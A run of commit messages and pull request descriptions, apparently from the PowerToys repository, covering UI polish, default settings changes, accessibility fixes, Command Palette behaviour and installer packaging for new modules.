The test project references the app's sources and headers; upstream they sit at
../../src/DesktopGrass.Native (tests/ vs src/ layout). In the PowerToys module the
app and tests are siblings under src/modules/DesktopGrass/, so the references are
now ../DesktopGrass.Native. Verified: builds in-tree and passes all 305 Catch2 cases.
Co-authored-by: Copilot <223556219+Copilot@users.noreply.github.com>
- Add src/modules/DesktopGrass/DesktopGrass.Native (Win32 + Direct2D/DirectComposition,
/MT static CRT, no external runtime dependencies) plus its Catch2 unit-test project.
- Redirect the native exe output to the repo build root (x64/Release) so the installer's
root file sweep (generateAllFileComponents.ps1 -> BaseApplicationsComponentGroup) harvests it.
- Opt this self-contained leaf module out of the repo-wide precompiled-header default and
CppCoreCheck-as-errors (cf. FileLocksmithCLI) so it builds within PowerToys.
- Add installer DesktopGrass.wxs (uninstall marker component group), register it in
PowerToysInstallerVNext.wixproj and reference it from Product.wxs CoreFeature.
- Register both projects in PowerToys.slnx.
Co-authored-by: Copilot <223556219+Copilot@users.noreply.github.com>
## Summary
Flips the default for the `Shortcut Guide` entry in `enabledModules`
from `true` to `false`. New PowerToys installs (no prior
`settings.json`) will start with Shortcut Guide disabled, matching how
other newer modules (PowerToys Run, MouseJump, AdvancedPaste,
MouseWithoutBorders, CropAndLock, QuickAccent, TextExtractor,
MousePointerCrosshairs, KeyboardManager) already ship off-by-default in
`EnabledModules.cs`.
## Why
Shortcut Guide has been on-by-default since the early days, but it is an
opt-in style utility (overlay launched on hotkey). It should not be
active for users who never asked for it on a fresh install.
## Changes
- `src/settings-ui/Settings.UI.Library/EnabledModules.cs` -- flip
`shortcutGuide` backing field from `= true` to bare declaration with the
file's `// defaulting to off` comment convention.
- `src/settings-ui/Settings.UI.UnitTests/ViewModelTests/General.cs` --
update the corresponding `AllModulesAreEnabledByDefault` assertion.
## Compatibility
Existing installs are unaffected: their `settings.json` already persists
the user's prior value (`true`), so anyone who has it on today keeps it
on. Only freshly created `EnabledModules` instances pick up the new
default.
Co-authored-by: Copilot <223556219+Copilot@users.noreply.github.com>
## Summary of the Pull Request
Visual polish for the Shortcut Guide UI, follow-up to #48383 and #48384.
- Fixes the Settings footer icon being clipped in the rail at startup.
Root cause: the icon `RowDefinition` in `CustomNavigationViewStyle.xaml`
was `*`, so the rail's `MinHeight` constraint compressed the 20px icon
down. Changing it to `Auto` lets the row size to its content. This also
removes the need for the `FakeSettingsButton` workaround.
- Replaces the laptop `FontIcon` used for the `Windows` nav entry with a
4-square Windows logo rendered as a `PathIcon`.
- Replaces the bitmap PowerToys app icon with a theme-aware vector
`PathIcon` (rounded square frame + menu bar + three dots) so it matches
the rest of the icons.
- Path data for both icons lives as `x:String` resources in `App.xaml`.
- Tunes the rail item `Row 0` height so the icon vertically aligns with
the selection pill center.
<img width="681" height="1405" alt="image"
src="https://github.com/user-attachments/assets/10787087-e32f-4018-b004-3f824648b962"
/>
## PR Checklist
- [x] **Closes:** part of the Shortcut Guide 0.100 polish set
- [x] **Communication:** internal only
- [x] **Tests:** manual verification
- [x] **Localization:** no new strings
- [x] **Dev docs:** N/A
## Validation Steps Performed
- Built locally and verified the Settings footer icon is no longer
clipped on first show.
- Verified the Windows nav entry now uses the Windows logo PathIcon and
renders correctly in light and dark.
- Verified the PowerToys entry now renders as a vector and follows the
theme foreground.
- Verified the selection pill aligns vertically with the icon center.
Co-authored-by: Copilot <223556219+Copilot@users.noreply.github.com>
<!-- Enter a brief description/summary of your PR here. What does it
fix/what does it change/how was it tested (even manually, if necessary)?
-->
## Summary of the Pull Request
Transitions the telemetry PR detection workflow from testing phase to
ready status. All components are now fully functional and automatically
triggered on every new PR.
- Skips checks on draft PRs to avoid noise
- Prevents multiple concurrent runs per PR
- Safely requests `@chatasweetie` as reviewer on telemetry changes
- update commit messages
<!-- Please review the items on the PR checklist before submitting-->
## PR Checklist
- [ ] Closes: #xxx
<!-- - [ ] Closes: #yyy (add separate lines for additional resolved
issues) -->
- [ ] **Communication:** I've discussed this with core contributors
already. If the work hasn't been agreed, this work might be rejected
- [ ] **Tests:** Added/updated and all pass
- [ ] **Localization:** All end-user-facing strings can be localized
- [ ] **Dev docs:** Added/updated
- [ ] **New binaries:** Added on the required places
- [ ] [JSON for
signing](https://github.com/microsoft/PowerToys/blob/main/.pipelines/ESRPSigning_core.json)
for new binaries
- [ ] [WXS for
installer](https://github.com/microsoft/PowerToys/blob/main/installer/PowerToysSetup/Product.wxs)
for new binaries and localization folder
- [ ] [YML for CI
pipeline](https://github.com/microsoft/PowerToys/blob/main/.pipelines/ci/templates/build-powertoys-steps.yml)
for new test projects
- [ ] [YML for signed
pipeline](https://github.com/microsoft/PowerToys/blob/main/.pipelines/release.yml)
- [ ] **Documentation updated:** If checked, please file a pull request
on [our docs
repo](https://github.com/MicrosoftDocs/windows-uwp/tree/docs/hub/powertoys)
and link it here: #xxx
<!-- Provide a more detailed description of the PR, other things fixed,
or any additional comments/features here -->
## Detailed Description of the Pull Request / Additional comments
<!-- Describe how you validated the behavior. Add automated tests
wherever possible, but list manual validation steps taken as well -->
## Validation Steps Performed
---------
Co-authored-by: Carlos Zamora <carlos.zamora@microsoft.com>
We have no idea why this event isn't flowing in 0.99. We fixed the other
"new" event, `CmdPal_ExtensionInvoked`, when we merged #47121. But this
event didn't show up.
So, as a blind experiment, we're removing the potentially long payload.
Just to see if something happens.
<!-- Enter a brief description/summary of your PR here. What does it
fix/what does it change/how was it tested (even manually, if necessary)?
-->
## Summary of the Pull Request
<!-- Please review the items on the PR checklist before submitting-->
## PR Checklist
- [x] Closes: #47572
<!-- - [ ] Closes: #yyy (add separate lines for additional resolved
issues) -->
- [x] **Communication:** I've discussed this with core contributors
already. If the work hasn't been agreed, this work might be rejected
- [x] **Tests:** Added/updated and all pass
- [x] **Localization:** All end-user-facing strings can be localized
- [ ] **Dev docs:** Added/updated
- [ ] **New binaries:** Added on the required places
- [ ] [JSON for
signing](https://github.com/microsoft/PowerToys/blob/main/.pipelines/ESRPSigning_core.json)
for new binaries
- [ ] [WXS for
installer](https://github.com/microsoft/PowerToys/blob/main/installer/PowerToysSetup/Product.wxs)
for new binaries and localization folder
- [ ] [YML for CI
pipeline](https://github.com/microsoft/PowerToys/blob/main/.pipelines/ci/templates/build-powertoys-steps.yml)
for new test projects
- [ ] [YML for signed
pipeline](https://github.com/microsoft/PowerToys/blob/main/.pipelines/release.yml)
- [ ] **Documentation updated:** If checked, please file a pull request
on [our docs
repo](https://github.com/MicrosoftDocs/windows-uwp/tree/docs/hub/powertoys)
and link it here: #xxx
<!-- Provide a more detailed description of the PR, other things fixed,
or any additional comments/features here -->
## Detailed Description of the Pull Request / Additional comments
In the powerdisplay tool, Added a new button, that allows to copy the
current display configuration, to allow to share for troubleshooting, or
just sharing.
<!-- Describe how you validated the behavior. Add automated tests
wherever possible, but list manual validation steps taken as well -->
## Validation Steps Performed
<!-- Enter a brief description/summary of your PR here. What does it
fix/what does it change/how was it tested (even manually, if necessary)?
-->
## Summary of the Pull Request
Fixes labels not associated with controls in Installed Apps pane.
Narrator only announces "space, checkbox, checked/unchecked" for
Extensions > Installed Apps page checkboxes instead of reading the label
too.
this is an a11y internal bug
The Adaptive Cards renderer (`AdaptiveCards.Rendering.WinUI3` v2.x)
renders `Input.Toggle` as a CheckBox whose `Content` is a TextBlock
containing just `" "`. Without an AutomationProperties.Name`, Narrator
reads the CheckBox.Content (a space character), making the settings
inaccessible to screen reader users.
<!-- Please review the items on the PR checklist before submitting-->
## PR Checklist
- [ ] Closes: #xxx
<!-- - [ ] Closes: #yyy (add separate lines for additional resolved
issues) -->
- [ ] **Communication:** I've discussed this with core contributors
already. If the work hasn't been agreed, this work might be rejected
- [ ] **Tests:** Added/updated and all pass
- [ ] **Localization:** All end-user-facing strings can be localized
- [ ] **Dev docs:** Added/updated
- [ ] **New binaries:** Added on the required places
- [ ] [JSON for
signing](https://github.com/microsoft/PowerToys/blob/main/.pipelines/ESRPSigning_core.json)
for new binaries
- [ ] [WXS for
installer](https://github.com/microsoft/PowerToys/blob/main/installer/PowerToysSetup/Product.wxs)
for new binaries and localization folder
- [ ] [YML for CI
pipeline](https://github.com/microsoft/PowerToys/blob/main/.pipelines/ci/templates/build-powertoys-steps.yml)
for new test projects
- [ ] [YML for signed
pipeline](https://github.com/microsoft/PowerToys/blob/main/.pipelines/release.yml)
- [ ] **Documentation updated:** If checked, please file a pull request
on [our docs
repo](https://github.com/MicrosoftDocs/windows-uwp/tree/docs/hub/powertoys)
and link it here: #xxx
<!-- Provide a more detailed description of the PR, other things fixed,
or any additional comments/features here -->
## Detailed Description of the Pull Request / Additional comments
<!-- Describe how you validated the behavior. Add automated tests
wherever possible, but list manual validation steps taken as well -->
## Validation Steps Performed
---------
Co-authored-by: Michael Jolley <mike@baldbeardedbuilder.com>
<!-- Enter a brief description/summary of your PR here. What does it
fix/what does it change/how was it tested (even manually, if necessary)?
-->
## Summary of the Pull Request
Fixes#48224
The Performance Monitor extension was still storing its settings in the
shared settings.json file. Since Command Palette built-in extensions now
use extension-specific sibling settings files, the extension's settings
could be overwritten when Command Palette personalization settings were
saved.
This change updates SettingsJsonPath() to store Performance Monitor
settings in an extension-specific settings file
(performanceMonitor.settings.json), ensuring the network speed unit
setting persists correctly.
<!-- Please review the items on the PR checklist before submitting-->
## PR Checklist
- [x] Closes: #48224
<!-- - [ ] Closes: #yyy (add separate lines for additional resolved
issues) -->
- [x] **Communication:** I've discussed this with core contributors
already. If the work hasn't been agreed, this work might be rejected
- [ ] **Tests:** Added/updated and all pass
- [ ] **Localization:** All end-user-facing strings can be localized
- [ ] **Dev docs:** Added/updated
- [ ] **New binaries:** Added on the required places
- [ ] [JSON for
signing](https://github.com/microsoft/PowerToys/blob/main/.pipelines/ESRPSigning_core.json)
for new binaries
- [ ] [WXS for
installer](https://github.com/microsoft/PowerToys/blob/main/installer/PowerToysSetup/Product.wxs)
for new binaries and localization folder
- [ ] [YML for CI
pipeline](https://github.com/microsoft/PowerToys/blob/main/.pipelines/ci/templates/build-powertoys-steps.yml)
for new test projects
- [ ] [YML for signed
pipeline](https://github.com/microsoft/PowerToys/blob/main/.pipelines/release.yml)
- [ ] **Documentation updated:** If checked, please file a pull request
on [our docs
repo](https://github.com/MicrosoftDocs/windows-uwp/tree/docs/hub/powertoys)
and link it here: #xxx
<!-- Provide a more detailed description of the PR, other things fixed,
or any additional comments/features here -->
## Detailed Description of the Pull Request / Additional comments
The Performance Monitor extension had not been migrated to the newer
extension-specific settings file architecture. As a result, its settings
were stored in the shared settings.json file and could be lost when the
Command Palette host rewrote its configuration.
Following @zadjii-msft's guidance in the issue, this PR updates
SettingsManager.cs to store Performance Monitor settings in an
extension-specific settings file:
performanceMonitor.settings.json
instead of the shared:
settings.json
This aligns the extension with the current Command Palette settings
architecture and prevents the network speed unit setting from being
overwritten.
<!-- Describe how you validated the behavior. Add automated tests
wherever possible, but list manual validation steps taken as well -->
## Validation Steps Performed
* Changed Network Speed Unit to "Binary bytes per second" in Performance
Monitor settings.
* Verified the setting was successfully saved to the newly created
`performanceMonitor.settings.json` file.
* Modified core Command Palette personalization settings.
* Verified the Performance Monitor setting was preserved and not
overwritten.
* Restarted PowerToys and verified the setting persisted correctly.
**Note to reviewers:** I left the "Tests" box unchecked because this is
a single-line file path configuration change. I did not add an automated
test, but I have thoroughly verified the fix manually as described in
the Validation steps above.
## Summary of the Pull Request
Fixes#48053 — Remote Desktop extension now allows connecting to
arbitrary hostnames when navigated into the extension's list page.
Previously, `RemoteDesktopListPage` only displayed previously saved
connections. This converts it from `ListPage` to `DynamicListPage`,
adding search-driven behavior:
- Typing a valid hostname/IP that **doesn't** match an existing saved
connection shows a **"Connect to {hostname}"** item at the top of the
list
- Typing something that **exactly matches** a saved connection shows
only the normal results (no duplicate arbitrary-host item)
- Typing an invalid string (not a valid hostname/IP) shows no
arbitrary-host item
The hostname validation reuses the same logic as
`FallbackRemoteDesktopItem`: strip the port suffix (e.g. `myhost:3389` →
`myhost`), then check `Uri.CheckHostName` against `IPv4`, `IPv6`, `Dns`.
## PR Checklist
- [x] Closes: #48053
- [ ] **Communication:** I've discussed this with core contributors
already.
- [ ] **Tests:** Added/updated and all pass
- [ ] **Localization:** All end-user-facing strings can be localized
---------
Co-authored-by: root <root@io.bbq>
Co-authored-by: Copilot <223556219+Copilot@users.noreply.github.com>
## Summary of the Pull Request
Rework the confirmation dialog shown when enabling Power Display (and
its potentially-destructive sub-features) so it is shorter, friendlier,
and consistent across all entry points. The five separate prefix-driven
variants are now a single `PowerDisplayWarningDialog` user control
selected via an enum, sharing the title, learn-more link, and
Enable/Cancel buttons. The previous hand-rolled red warning text is
replaced with a Fluent `InfoBar Severity=""Warning""`.
## PR Checklist
- [ ] Closes: #xxx
- [x] **Communication:** I've discussed this with core contributors
already. If the work hasn't been agreed, this work might be rejected
- [x] **Tests:** Added/updated and all pass
- [x] **Localization:** All end-user-facing strings can be localized
- [ ] **Dev docs:** Added/updated
- [ ] **New binaries:** Added on the required places
## Detailed Description of the Pull Request / Additional comments
### Before
- `DangerousFeatureWarningDialog` took a resource-key prefix string and
probed up to five optional keys per variant (`_WarningHeader`,
`_WarningConfirm`, `_WarningList_Item1/2`, etc.).
- Each of the five flows (EnableModule, ColorTemperature, PowerState,
InputSource, MaxCompatibility) had a slightly different title (some
questions, some statements, mixed `Warning:` prefixes) and a hand-rolled
red `TextBlock` warning header with a `⚠️` emoji and
`SystemFillColorCriticalBrush`.
- ~30 fragmented `PowerDisplay_*_Warning*` resw keys.
### After
- New `PowerDisplayWarningDialog` selected via `PowerDisplayWarningKind`
enum (`EnableModule`, `ColorTemperature`, `PowerState`, `InputSource`,
`MaxCompatibility`).
- Shared chrome lives in the control:
- Single title `Before you continue` for every variant.
- `InfoBar Severity=""Warning""` replaces the hand-rolled red header.
- Learn-more `HyperlinkButton` pointing at
`aka.ms/powerToysOverview_PowerDisplay_Note` (URL is a `private const`
so translators don't see it).
- Consistent Enable / Cancel buttons.
- Per-variant content collapses to one InfoBar message + one body
paragraph in resw (12 keys total, down from ~30). Bullets are inlined as
`• ` + newlines with `xml:space=""preserve""`.
- `PowerDisplayViewModel.ConfirmDangerousFeatureAsync` and
`TryCommitDangerousChangeAsync` now take the enum instead of a magic
string.
### Files
- **Added:** `ViewModels/PowerDisplayWarningKind.cs`,
`SettingsXAML/Views/PowerDisplayWarningDialog.xaml{,.cs}`
- **Removed:**
`SettingsXAML/Views/DangerousFeatureWarningDialog.xaml{,.cs}`
- **Updated:** `Strings/en-us/Resources.resw`,
`ViewModels/PowerDisplayViewModel.cs`,
`SettingsXAML/Views/PowerDisplayPage.xaml.cs`
## Validation Steps Performed
- Built `PowerToys.Settings.csproj` (Debug arm64) — clean.
- Manually exercised the EnableModule and MaxCompatibility flows;
verified the new title, InfoBar, body paragraph, learn-more link, and
Enable/Cancel button behavior.
- Verified `aka.ms/powerToysOverview_PowerDisplay_Note` opens in the
default browser.
---------
Co-authored-by: Copilot <223556219+Copilot@users.noreply.github.com>
## Summary
Make the new WinUI 3 Keyboard Manager editor the default by flipping
`useNewEditor` from `false` to `true` everywhere a default is supplied.
## Behavior
- **New installs / new `settings.json`** → new editor enabled
- **Upgrades from a version before the `useNewEditor` key existed** →
new editor enabled (the key is missing, so the default kicks in)
- **Users who have explicitly toggled the setting** → unchanged (we only
change the default, not stored values)
- The "Go back to classic" button in the KBM settings page is untouched
## Changes
- `src/settings-ui/Settings.UI.Library/KeyboardManagerProperties.cs` —
`UseNewEditor` property initializer now `true`
- `src/modules/keyboardmanager/dll/dllmain.cpp` — `m_useNewEditor`
member init + `GetNamedBoolean` fallback now `true`; warn-log message
updated to match
-
`src/modules/cmdpal/ext/Microsoft.CmdPal.Ext.PowerToys/Modules/KeyboardManagerModuleCommandProvider.cs`
— both fallback paths in `IsUseNewEditorEnabled` (file missing /
unreadable) now return `true`, so the "Open New Editor" CmdPal command
surfaces by default
## Validation
Built locally on ARM64 Debug (exit code 0):
- `src/modules/keyboardmanager/dll`
- `src/modules/cmdpal/ext/Microsoft.CmdPal.Ext.PowerToys`
- `src/settings-ui/Settings.UI.Library`
Co-authored-by: Copilot <223556219+Copilot@users.noreply.github.com>
## Summary of the Pull Request
Reword the Shortcut Guide module description and OOBE description so
they describe the feature without referring to `your apps`. The module
description now reads as a single sentence covering Windows and the
active app; the OOBE description is shortened to one paragraph and
refers to `various applications` instead of enumerating the bundled
apps.
## PR Checklist
- [ ] Closes: #xxx
- [x] **Communication:** I've discussed this with core contributors
already. If the work hasn't been agreed, this work might be rejected
- [x] **Tests:** Added/updated and all pass
- [x] **Localization:** All end-user-facing strings can be localized
- [ ] **Dev docs:** Added/updated
- [ ] **New binaries:** Added on the required places
## Detailed Description of the Pull Request / Additional comments
Two strings in
`src/settings-ui/Settings.UI/Strings/en-us/Resources.resw` changed:
- `ShortcutGuide.ModuleDescription` — now: `Shows an on-screen overlay
of keyboard shortcuts for Windows and the active application.`
- `Oobe_ShortcutGuide.Description` — collapsed to one sentence
describing Windows + various applications, no longer enumerating bundled
apps or mentioning future additions.
No code or behavioral changes.
## Validation Steps Performed
- Built Settings.UI (Debug arm64) – clean.
- Verified the Shortcut Guide module card in Settings UI shows the new
description and the OOBE Shortcut Guide page shows the new paragraph.
---------
Co-authored-by: Copilot <223556219+Copilot@users.noreply.github.com>
Co-authored-by: Copilot Autofix powered by AI <175728472+Copilot@users.noreply.github.com>
## Summary
Fixes#46055 — Standardizes built-in fallback title/subtitle format so
scoring is consistent across all action fallbacks.
## Problem
`MainListPage.cs` scores fallback items by fuzzy-matching the query
against both Title and Subtitle, but with different weights:
- `nameScore = FuzzyScore(query, Title)`
- `descriptionScore = (FuzzyScore(query, Subtitle) - 4) / 2`
Fallbacks that embedded the raw query in Title got artificially higher
scores than those using Subtitle. This made ranking unpredictable.
## Fix
All "action" fallbacks now follow a consistent pattern:
- **Title** = static action description (no query text)
- **Subtitle** = raw query string (unquoted)
"Result" fallbacks (that found a specific matched item) are left
unchanged — they correctly show the matched item name in Title.
## Full Fallback Audit (example query: `notepad`)
| Fallback | Title | Subtitle | Status |
|---|---|---|---|
| WebSearch: Search | "Search the web with Edge" | `Search for notepad`
| **Changed** — was `Search for "notepad"` in subtitle |
| WebSearch: Open URL | "Open in Microsoft Edge" | `Open notepad.com` |
**Changed** — was `Open "notepad.com"` in title |
| Shell: Run | "Run" | `notepad` | Unchanged — already correct |
| Calculator | "3" (result) | `1+2` (query) | Unchanged — intentional
exception |
| Indexer: single result | "notepad.exe" | `C:\Windows\notepad.exe` |
Unchanged — result fallback |
| Indexer: multiple results | "File search" | `Search for notepad in
files` | **Changed** — was `Search for "notepad" in files` in title |
| Windows Settings: single | "Notepad settings" | `Settings > Apps` |
Unchanged — result fallback |
| Windows Settings: multiple | "Search Windows settings..." | `Search
for notepad` | **Changed** — was `Search for "notepad" in Windows
settings` in title |
| Remote Desktop: exact match | "MyPC" (connection) | "Connect to MyPC"
| Unchanged — result fallback |
| Remote Desktop: arbitrary host | "Remote Desktop" | `Connect to
notepad-host` | **Changed** — was `Connect to notepad-host` in title |
| TimeDate | "Monday, May 23" (result) | "Current date" | Unchanged —
result fallback |
| System | "Shut down" (result) | "Shuts down the computer" | Unchanged
— result fallback |
| PowerToys | "Color Picker" (static) | "Pick a color..." | Unchanged —
result fallback |
## Changes
- `FallbackExecuteSearchItem.cs` — Subtitle uses raw query instead of
`"Search for \"{query}\""` format
- `FallbackOpenURLItem.cs` — Title shows browser name (was query),
Subtitle shows raw query (was browser)
- `FallbackOpenFileItem.cs` — Multi-result: Title is static display
name, Subtitle is raw query
- `FallbackWindowsSettingsItem.cs` — Multi-result: Title is static
description, Subtitle is raw query
- `FallbackRemoteDesktopItem.cs` — Arbitrary host: Title is static
"Remote Desktop", Subtitle is raw query
---------
Co-authored-by: root <root@io.bbq>
Co-authored-by: Copilot <223556219+Copilot@users.noreply.github.com>
## Summary
When an extension updates its `Subtitle` property asynchronously after
initial render, the `TextVisibilityStates` visual state group
transitions from `TitleOnly` → `TextVisible`. This transition sets
`SubtitleText.Visibility = Visible`, overriding the `CompactStates`
setter that had hidden it.
## Fix
Added `control.UpdateCompactState()` to `OnTextPropertyChanged` in
`DockItemControl.xaml.cs`. This re-applies the compact state after any
text property change. When `IsCompact` is `false`, `UpdateCompactState`
is a no-op — no behavior change for the non-compact path.
Fixes#47980
Co-authored-by: root <root@io.bbq>
Co-authored-by: Copilot <223556219+Copilot@users.noreply.github.com>
## Summary
Fixes#47939
The Performance Monitor dock band displayed network stats as Receive →
Send, but Task Manager shows Send → Receive. This swaps the order to
match Task Manager.
## Changes
- `PerformanceWidgetsPage.cs`: Swap `_networkUpItem` (Send) before
`_networkDownItem` (Receive) in the band items array.
Co-authored-by: root <root@io.bbq>
Co-authored-by: Copilot <223556219+Copilot@users.noreply.github.com>
## Summary
When a keyboard shortcut opens CmdPal to an extension while the palette
is already showing a dock-launched transient page, `GoHome(false)`
cannot restore the root page — the frame's back stack is empty because
the transient dock page was never pushed on top of root. The user ends
up with only the hotkey-target page in the frame with no way to navigate
back to the main list.
## Root Cause
In `ShellPage.SummonOnUiThread()`, the hotkey-to-page branch called
`GoHome(false)` before sending `ShowWindowMessage`. But when the active
page is a transient dock page, `_currentlyTransient` is still `true` and
the frame back stack is empty, so `GoHome` can't re-establish the root
page as the frame base.
## Fix
Added `ResetToHome()` to `ShellViewModel`, mirroring the pattern already
used in `WindowHiddenMessage` handling:
1. Clears `_currentlyTransient`
2. Calls `_rootPageService.GoHome()` to reset extension state
3. Sends `PerformCommandMessage` for `_rootPage` — navigating
MainListPage into the frame as the base
In `ShellPage.SummonOnUiThread()`, the `GoHome(false)` call in the
`isPage` branch is replaced with `ViewModel.ResetToHome()`. The root
page is then cleanly in the frame before the hotkey target's
`PerformCommandMessage` navigates on top of it.
Fixes#47994
Co-authored-by: root <root@io.bbq>
Co-authored-by: Copilot <223556219+Copilot@users.noreply.github.com>
## Summary of the Pull Request
Reorder the Pin to Dock dialog content so the configuration controls
(monitor selector, dock section, label options) appear at the top and
the live preview is shown below them. The user now configures the pin
first and sees the resulting preview directly underneath, instead of
staring at the preview and having to scan past it to find the controls.
<img width="515" height="440" alt="image"
src="https://github.com/user-attachments/assets/0d1d0543-2b30-48f5-a1aa-676a165870f5"
/>
## PR Checklist
- [ ] Closes: #xxx
- [x] **Communication:** I've discussed this with core contributors
already. If the work hasn't been agreed, this work might be rejected
- [x] **Tests:** Added/updated and all pass
- [x] **Localization:** All end-user-facing strings can be localized
- [ ] **Dev docs:** Added/updated
- [ ] **New binaries:** Added on the required places
## Detailed Description of the Pull Request / Additional comments
XAML-only change to
`src/modules/cmdpal/Microsoft.CmdPal.UI/Dock/PinToDockDialogContent.xaml`.
The new visual order inside the `ScrollViewer`/`StackPanel` is:
1. Monitor selector (still `Visibility=""Collapsed""` by default; shown
when more than one monitor is available)
2. Dock section `Segmented` (Start / Center / End)
3. Label options (`Show title` / `Show subtitle` checkboxes)
4. Divider `Rectangle`
5. Preview `Border`
No logic, bindings, `x:Name` identifiers, event handlers, or `x:Uid`
keys are changed.
## Validation Steps Performed
- Built `Microsoft.CmdPal.UI` (Debug arm64) — clean.
- Verified the Pin to Dock dialog renders with controls on top and the
preview underneath; segmented selection, label-option checkboxes, and
the multi-monitor combo still behave as before.
---------
Co-authored-by: Copilot <223556219+Copilot@users.noreply.github.com>
## Summary
Fixes#47821
The GPU Performance Monitor widget crashes with
`IndexOutOfRangeException` on systems where GPU performance counters
fail to enumerate (common on Intel Arc and hybrid GPU configurations).
The dock band shows `???` and opening the flyout causes an error.
## Root Cause
`GPUStats.CreateGPUImageUrl()` accessed `_stats[index]` without bounds
checking. When `GetGPUPerfCounters()` finds no matching counter
instances, `_stats` remains empty but callers still pass index 0.
`GetGPUName()`, `GetGPUUsage()`, and `GetGPUTemperature()` already have
proper guards (`if (_stats.Count <= index) return ...`) — this fix adds
the same pattern to the one remaining unguarded method.
## Changes
- `GPUStats.cs`: Add bounds check to `CreateGPUImageUrl()` — return
empty string if index out of range
Co-authored-by: root <root@io.bbq>
Co-authored-by: Copilot <223556219+Copilot@users.noreply.github.com>
Addenda to #47187
that fix only works if the _hwnd is already set. Actually it's crazy it
ever worked.
Tested by disconnecting and reconnecting RDP a couple times, which
pretty consistently reproduces the problem.
## Summary
Fixes#48170 — ShortcutGuide v2 crashes on launch when the bundled
`Manifests` directory is absent from the install path.
### Root Cause
The `Assets\ShortcutGuide\Manifests\*.yml` files were never reaching the
build output directory during the CI solution-level build (`msbuild
PowerToys.slnx /t:Build -graph`). The `CopyToOutputDirectory` metadata
on `<Content>` items does not reliably copy files to a shared
`OutputPath` in this build configuration. As a result, the WiX installer
generator found no yml files to package, and the installed product was
missing the Manifests directory entirely.
At runtime, `PowerToysShortcutsPopulator.Populate()` threw an unhandled
`FileNotFoundException` causing a crash loop.
### Fix (3 layers)
1. **Code resilience** (`Program.cs`, `PowerToysShortcutsPopulator.cs`):
- Wrap `Populate()` in try/catch so a missing manifest degrades
gracefully instead of crashing
- Add `File.Exists` guard before `File.ReadAllText`
2. **Build output** (`ShortcutGuide.Ui.csproj`):
- Add explicit `CopyManifestsToOutputDir` MSBuild target
(`AfterTargets="Build"`) that copies yml files to
`$(OutDir)Assets\ShortcutGuide\Manifests\` — same pattern as the
existing `CopyPRIFileToOutputDir` target
- Keep `<Content Include>` with `CopyToOutputDirectory` as a fallback
for publish scenarios
3. **Installer packaging** (`generateAllFileComponents.ps1`,
`ShortcutGuide.wxs`):
- Add `*.yml` to the file inclusion list
- Add `Generate-FileList` / `Generate-FileComponents` calls for
`ShortcutGuideManifestsFiles`
- Add WiX directory definition and `RemoveFolder` component for the
Manifests directory
---------
Co-authored-by: Copilot <223556219+Copilot@users.noreply.github.com>
<!-- Enter a brief description/summary of your PR here. What does it
fix/what does it change/how was it tested (even manually, if necessary)?
-->
## Summary of the Pull Request
Converts the "Show details" context menu command into a toggle that
switches between "Show details" and "Hide details" with appropriate
icons, and fixes the icon not rendering in the context menu.
Address internal a11y bug.
<!-- Please review the items on the PR checklist before submitting-->
## PR Checklist
- [ ] Closes: #xxx
<!-- - [ ] Closes: #yyy (add separate lines for additional resolved
issues) -->
- [ ] **Communication:** I've discussed this with core contributors
already. If the work hasn't been agreed, this work might be rejected
- [ ] **Tests:** Added/updated and all pass
- [ ] **Localization:** All end-user-facing strings can be localized
- [ ] **Dev docs:** Added/updated
- [ ] **New binaries:** Added on the required places
- [ ] [JSON for
signing](https://github.com/microsoft/PowerToys/blob/main/.pipelines/ESRPSigning_core.json)
for new binaries
- [ ] [WXS for
installer](https://github.com/microsoft/PowerToys/blob/main/installer/PowerToysSetup/Product.wxs)
for new binaries and localization folder
- [ ] [YML for CI
pipeline](https://github.com/microsoft/PowerToys/blob/main/.pipelines/ci/templates/build-powertoys-steps.yml)
for new test projects
- [ ] [YML for signed
pipeline](https://github.com/microsoft/PowerToys/blob/main/.pipelines/release.yml)
- [ ] **Documentation updated:** If checked, please file a pull request
on [our docs
repo](https://github.com/MicrosoftDocs/windows-uwp/tree/docs/hub/powertoys)
and link it here: #xxx
<!-- Provide a more detailed description of the PR, other things fixed,
or any additional comments/features here -->
## Detailed Description of the Pull Request / Additional comments
<!-- Describe how you validated the behavior. Add automated tests
wherever possible, but list manual validation steps taken as well -->
## Validation Steps Performed
## Summary of the Pull Request
Adds **DiskAnalyzer** to the General plugins table in
`doc/thirdPartyRunPlugins.md`.
- **Plugin:**
[Community.PowerToys.Run.Plugin.DiskAnalyzer](https://github.com/thetsaw/PowerToys.Plugin)
- - **Author:** thetsaw
- - **Keyword:** `ds`
- - **License:** MIT
- - **Platforms:** x64 and ARM64
### What it does
Scan any folder or drive to find the largest files and subfolders, view
drive usage with visual progress bars, and navigate your filesystem all
from PowerToys Run.
## PR Checklist
- [x] Plugin has been publicly available
- [ ] - [x] MIT licensed
- [ ] - [x] Releases include x64 and ARM64 zips
- [ ] - [x] plugin.json is correctly formatted
- [ ] - [x] README includes install instructions
## Detailed Description
This is a documentation-only change adding one row to the third-party
plugins table. No source code, binaries, or build files are modified.
## Summary of the Pull Request
This updates PowerToys Settings to remove the obsolete “V2” suffix from
the Shortcut Guide module name. The UI now consistently shows **Shortcut
Guide**.
## PR Checklist
- [ ] **Communication:** I've discussed this with core contributors
already. If the work hasn't been agreed, this work might be rejected
- [ ] **Tests:** Added/updated and all pass
- [x] **Localization:** All end-user-facing strings can be localized
- [ ] **Dev docs:** Added/updated
- [ ] **New binaries:** Added on the required places
- [ ] [JSON for
signing](https://github.com/microsoft/PowerToys/blob/main/.pipelines/ESRPSigning_core.json)
for new binaries
- [ ] [WXS for
installer](https://github.com/microsoft/PowerToys/blob/main/installer/PowerToysSetup/Product.wxs)
for new binaries and localization folder
- [ ] [YML for CI
pipeline](https://github.com/microsoft/PowerToys/blob/main/.pipelines/ci/templates/build-powertoys-steps.yml)
for new test projects
- [ ] [YML for signed
pipeline](https://github.com/microsoft/PowerToys/blob/main/.pipelines/release.yml)
- [ ] **Documentation updated:** If checked, please file a pull request
on [our docs
repo](https://github.com/MicrosoftDocs/windows-uwp/tree/docs/hub/powertoys)
and link it here: #xxx
## Detailed Description of the Pull Request / Additional comments
- **Settings navigation label**
- Updated `Shell_ShortcutGuide.Content` to `Shortcut Guide`.
- **Module title**
- Updated `ShortcutGuide.ModuleTitle` to `Shortcut Guide`.
- **OOBE title**
- Updated `Oobe_ShortcutGuide.Title` to `Shortcut Guide`.
```xml
<data name="Shell_ShortcutGuide.Content" xml:space="preserve">
<value>Shortcut Guide</value>
</data>
```
## Validation Steps Performed
- N/A for behavior-level validation in this description (change is
limited to localized display strings).
---------
